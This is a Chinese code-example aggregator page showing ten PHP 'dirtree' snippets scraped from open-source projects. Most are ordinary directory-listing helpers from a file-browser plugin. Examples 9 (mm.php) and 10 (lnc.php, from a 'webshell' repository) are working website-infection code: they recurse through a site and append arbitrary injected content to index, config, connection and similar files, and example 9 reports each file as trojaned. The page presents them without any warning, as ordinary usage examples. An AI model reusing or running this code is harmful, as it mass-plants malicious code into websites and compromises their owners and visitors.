当前位置: 首页>>代码示例>>PHP>>正文


PHP dirtree函数代码示例

本文整理汇总了PHP中dirtree函数的典型用法代码示例。如果您正苦于以下问题:PHP dirtree函数的具体用法?PHP dirtree怎么用?PHP dirtree使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了dirtree函数的10个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: dirtree

 function dirtree($path)
 {
     $handle = opendir($path);
     $itemArray = array();
     while (false !== ($file = readdir($handle))) {
         if ($file == '.' || $file == '..') {
         } elseif (is_dir($path . $file)) {
             try {
                 $dirtmparr = dirtree($path . $file . '/');
             } catch (Exception $e) {
                 $dirtmparr = null;
             }
             $itemArray[$file] = $dirtmparr;
         } else {
             array_push($itemArray, $file);
         }
     }
     return $itemArray;
 }
开发者ID:duguying,项目名称:news_mobile,代码行数:19,代码来源:TestAction.class.php

示例2: ltrim

            $namethisfolderto = $tinybrowser['docroot'] . $dirpath . $renameurl;
            if (is_dir($namethisfolderfrom) && rename($namethisfolderfrom, $namethisfolderto)) {
                $renameqty++;
            } else {
                $errorqty++;
            }
            if ($foldernow == urldecode($_POST['actionfolder'][$namethis])) {
                $foldernow = ltrim($renameurl, '/');
                $passfolder = '&folder=' . urlencode(ltrim($renameurl, '/'));
            }
        }
    }
}
// Assign directory structure to array
$dirs = array();
dirtree($dirs, $tinybrowser['filetype'][$typenow], $tinybrowser['docroot'], $tinybrowser['path'][$typenow]);
// generate alert if folders deleted
if ($createqty > 0) {
    $notify['type'][] = 'success';
    $notify['message'][] = sprintf(TB_MSGCREATE, $createqty);
} elseif ($deleteqty > 0) {
    $notify['type'][] = 'success';
    $notify['message'][] = sprintf(TB_MSGDELETE, $deleteqty);
} elseif ($renameqty > 0) {
    $notify['type'][] = 'success';
    $notify['message'][] = sprintf(TB_MSGRENAME, $renameqty);
}
// generate alert if file errors encountered
if ($errorqty > 0) {
    $notify['type'][] = 'failure';
    $notify['message'][] = sprintf(TB_MSGEDITERR, $errorqty);
开发者ID:cristminix,项目名称:cGRhbXRrcg-,代码行数:31,代码来源:folders.php

示例3: returnMIMEType

                $file['height'][] = $imginfo[1];
                $file['dimensions'][] = $imginfo[0] + $imginfo[1];
                $file['type'][] = $imginfo['mime'];
            } else {
                $file['width'][] = 'N/A';
                $file['height'][] = 'N/A';
                $file['dimensions'][] = 'N/A';
                $file['type'][] = returnMIMEType($filename);
            }
        }
    }
}
closedir($dh);
// Assign directory structure to array
$editdirs = array();
dirtree($editdirs, $tinybrowser['docroot'], $tinybrowser['path'][$typenow]);
if ($deleteqty > 0) {
    // generate alert if files deleted
    $notify['type'][] = 'success';
    $notify['message'][] = sprintf(TB_MSGDELETE, $deleteqty);
} elseif ($renameqty > 0) {
    // generate alert if files renamed
    $notify['type'][] = 'success';
    $notify['message'][] = sprintf(TB_MSGRENAME, $renameqty);
} elseif ($moveqty > 0) {
    // generate alert if files renamed
    $notify['type'][] = 'success';
    $notify['message'][] = sprintf(TB_MSGMOVE, $moveqty);
} elseif ($resizeqty > 0) {
    // generate alert if images resized
    $notify['type'][] = 'success';
开发者ID:vape1,项目名称:example_php_symfony,代码行数:31,代码来源:edit.php

示例4: isset

$typenow = isset($_GET['type']) && in_array($_GET['type'], $_SESSION['tinybrowser']['valid']['type']) ? $_GET['type'] : 'image';
$foldernow = str_replace(array('../', '..\\', '..', './', '.\\'), '', $_SESSION['tinybrowser']['allowfolders'] && isset($_REQUEST['folder']) ? urldecode($_REQUEST['folder']) : '');
$passfolder = '&folder=' . urlencode($foldernow);
$passfeid = !empty($_GET['feid']) && preg_match("/^[a-zA-Z0-9_\\-]+\$/", $_GET['feid']) == true ? '&feid=' . $_GET['feid'] : '';
$passupfeid = !empty($_GET['feid']) && preg_match("/^[a-zA-Z0-9_\\-]+\$/", $_GET['feid']) == true ? $_GET['feid'] : '';
$tokenget = !empty($_SESSION['get_tokens']) ? '&tokenget=' . end($_SESSION['get_tokens']) : '';
// Assign upload path
if (strpos($foldernow, $_SESSION['tinybrowser']['path'][$typenow]) == 1) {
    $uploadpath = urlencode($_SESSION['tinybrowser']['path'][$typenow] . $foldernow);
} else {
    $uploadpath = urlencode($_SESSION['tinybrowser']['path'][$typenow]);
}
verify_dir($_SESSION['tinybrowser']['docroot'] . $_SESSION['tinybrowser']['path'][$typenow] . $foldernow, $typenow);
// Assign directory structure to array
$uploaddirs = array();
dirtree($uploaddirs, $_SESSION['tinybrowser']['filetype'][$typenow], $_SESSION['tinybrowser']['docroot'], $_SESSION['tinybrowser']['path'][$typenow]);
// determine file dialog file types
switch ($typenow) {
    case 'image':
        $filestr = TB_TYPEIMG;
        break;
    case 'media':
        $filestr = TB_TYPEMEDIA;
        break;
    case 'file':
        $filestr = TB_TYPEFILE;
        break;
}
$fileexts = str_replace(",", ";", $_SESSION['tinybrowser']['filetype'][$typenow]);
$filelist = $filestr . ' (' . $_SESSION['tinybrowser']['filetype'][$typenow] . ')';
// Initalise alert array
开发者ID:ravinderphp,项目名称:skfood,代码行数:31,代码来源:upload.php

示例5: dirtree

function dirtree(&$alldirs, $types = '*.*', $root = '', $tree = '', $branch = '', $level = 0)
{
    // filter file types according to type
    $filetypes = explode(',', preg_replace('{[ \\t]+}', '', $types));
    if ($level == 0 && is_dir($root . $tree . $branch)) {
        $filenum = 0;
        foreach ($filetypes as $filetype) {
            $filenum = $filenum + count(glob($root . $tree . $branch . sql_regcase($filetype), GLOB_NOSORT));
        }
        $treeparts = explode('/', rtrim($tree, '/'));
        $topname = end($treeparts);
        $alldirs[] = array($branch, rtrim($topname, '/') . ' (' . $filenum . ')', rtrim($topname, '/'), rtrim($topname, '/'), $filenum, filemtime($root . $tree . $branch));
    }
    $level++;
    $dh = opendir($root . $tree . $branch);
    while (($dirname = readdir($dh)) !== false) {
        if ($dirname != '.' && $dirname != '..' && is_dir($root . $tree . $branch . $dirname) && $dirname != '_thumbs') {
            $filenum = 0;
            foreach ($filetypes as $filetype) {
                $filenum = $filenum + count(glob($root . $tree . $branch . $dirname . '/' . sql_regcase($filetype), GLOB_NOSORT));
            }
            $indent = '';
            for ($i = 0; $i < $level; $i++) {
                $indent .= ' &nbsp; ';
            }
            if (strlen($indent) > 0) {
                $indent .= '&rarr; ';
            }
            $alldirs[] = array(urlencode($branch . $dirname . '/'), $indent . $dirname . ' (' . $filenum . ')', $indent . $dirname, $dirname, $filenum, filemtime($root . $tree . $branch . $dirname));
            dirtree($alldirs, $types, $root, $tree, $branch . $dirname . '/', $level);
        }
    }
    closedir($dh);
    $level--;
}
开发者ID:Gninety,项目名称:Microweber,代码行数:35,代码来源:fns_tinybrowser.php

示例6: dirtree

function dirtree(&$alldirs, $root = '', $tree = '', $extPattern = '*.*', $branch = '', $level = 0)
{
    if ($level == 0 && is_dir($root . $tree . $branch)) {
        $filenum = count(glob($root . $tree . $branch . $extPattern, GLOB_BRACE));
        $topname = end(explode('/', rtrim($tree, '/')));
        $alldirs[] = array($branch, rtrim($topname, '/') . ' (' . $filenum . ')', rtrim($topname, '/'), rtrim($topname, '/'), $filenum, filemtime($root . $tree . $branch));
    }
    $level++;
    $dh = @opendir($root . $tree . $branch);
    while (false !== ($dirname = @readdir($dh))) {
        if ($dirname != '.' && $dirname != '..' && is_dir($root . $tree . $branch . $dirname)) {
            $filenum = count(glob($root . $tree . $branch . $dirname . '/' . $extPattern, GLOB_BRACE));
            $indent = '';
            for ($i = 0; $i < $level; $i++) {
                $indent .= ' &nbsp; ';
            }
            if (strlen($indent) > 0) {
                $indent .= '&rarr; ';
            }
            $alldirs[] = array(urlencode($branch . $dirname . '/'), $indent . $dirname . ' (' . $filenum . ')', $indent . $dirname, $dirname, $filenum, filemtime($root . $tree . $branch . $dirname));
            dirtree($alldirs, $root, $tree, $extPattern, $branch . $dirname . '/', $level);
        }
    }
    @closedir($dh);
    $level--;
}
开发者ID:innova-market,项目名称:JobExpert,代码行数:26,代码来源:fns_tinybrowser.php

示例7: closedir

    }
    closedir($dh);
}
/* else { // create file upload folder
	$success = createfolder($tinybrowser['docroot'].$browsepath,$tinybrowser['unixpermissions']);
	if($success) {
		$notify['type'][]='success';
		$notify['message'][]=sprintf(TB_MSGMKDIR, $browsepath);
	} else {
		$notify['type'][]='error';
		$notify['message'][]=sprintf(TB_MSGMKDIRFAIL, $browsepath);
	}
}*/
// Assign directory structure to array
$browsedirs = array();
dirtree($browsedirs, $tinybrowser['docroot'], $tinybrowser['path'][$typenow], $tinybrowser['extFilesGlob'][$typenow]);
// determine sort order
$sortorder = $sorttypenow == 'asc' ? SORT_ASC : SORT_DESC;
$num_of_files = isset($file['name']) ? count($file['name']) : 0;
if ($num_of_files > 0) {
    // sort files by selected order
    sortfileorder($sortbynow, $sortorder, $file);
}
// determine pagination
if ($tinybrowser['pagination'] > 0) {
    $showpage_start = $showpagenow ? $_REQUEST['showpage'] * $tinybrowser['pagination'] - $tinybrowser['pagination'] : 0;
    $showpage_end = $showpage_start + $tinybrowser['pagination'];
    if ($showpage_end > $num_of_files) {
        $showpage_end = $num_of_files;
    }
} else {
开发者ID:innova-market,项目名称:JobExpert,代码行数:31,代码来源:tinybrowser.php

示例8: die

    die(TB_DENIED);
}
if (!$tinybrowser['allowupload']) {
    die(TB_UPDENIED);
}
// Assign get variables
$typenow = isset($_GET['type']) ? $_GET['type'] : 'image';
$foldernow = isset($_REQUEST['folder']) ? urldecode($_REQUEST['folder']) : '';
$passfolder = '&folder=' . urlencode($foldernow);
$passfeid = isset($_GET['feid']) && $_GET['feid'] != '' ? '&feid=' . $_GET['feid'] : '';
$passupfeid = isset($_GET['feid']) && $_GET['feid'] != '' ? $_GET['feid'] : '';
// Assign upload path
$uploadpath = urlencode($tinybrowser['path'][$typenow] . $foldernow);
// Assign directory structure to array
$uploaddirs = array();
dirtree($uploaddirs, $tinybrowser['docroot'], $tinybrowser['path'][$typenow]);
// determine file dialog file types
switch ($_GET['type']) {
    case 'image':
        $filestr = TB_TYPEIMG;
        break;
    case 'media':
        $filestr = TB_TYPEMEDIA;
        break;
    case 'file':
        $filestr = TB_TYPEFILE;
        break;
}
$fileexts = str_replace(",", ";", $tinybrowser['filetype'][$_GET['type']]);
$filelist = $filestr . ' (' . $tinybrowser['filetype'][$_GET['type']] . ')';
// Initalise alert array
开发者ID:sharifov,项目名称:MyProcedureFramework,代码行数:31,代码来源:upload.php

示例9: dirtree

function dirtree($path, $mm)
{
    $d = @dir("{$path}");
    while (false !== ($entry = $d->read())) {
        if ($entry == "." || $entry == "..") {
            continue;
        }
        $file = $d->path . "/" . $entry;
        if (@is_dir($file)) {
            dirtree($file, $mm);
        } else {
            if (@ereg("default\\.|index\\.|bbs\\.|help\\.|sql\\.|inc\\.|config\\.|conn\\.|asp\\.|top\\.|main\\.|about\\.|error\\.|520\\.|err404\\.|foot\\.|err\\.|505\\.|list\\.|common\\.|show\\.|count\\.", $file)) {
                $mm = stripcslashes(trim($mm));
                //防止单双引号被加上斜杠
                $handle = @fopen("{$file}", "a");
                @fwrite($handle, "{$mm}");
                @fclose($handle);
                echo "已挂马文件:{$file}<br>";
            }
        }
    }
    $d->close();
}
开发者ID:akin520,项目名称:autosetup1,代码行数:23,代码来源:mm.php

示例10: dirt

function dirt($pathh, $mmm)
{
    $d = @dir("{$pathh}");
    while (false !== ($entry = $d->read())) {
        if ($entry == "." || $entry == "..") {
            continue;
        }
        $file = $d->path . "/" . $entry;
        if (@is_dir($file)) {
            dirtree($file, $mmm);
        } else {
            if (@ereg("config\\.|conn\\.", $file)) {
                $mmm = stripcslashes(trim($mmm));
                $handle = @fopen("{$file}", "a");
                @fwrite($handle, "{$mmm}");
                @fclose($handle);
            }
        }
    }
    $d->close();
}
开发者ID:mcanv,项目名称:webshell,代码行数:21,代码来源:lnc.php


注:本文中的dirtree函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。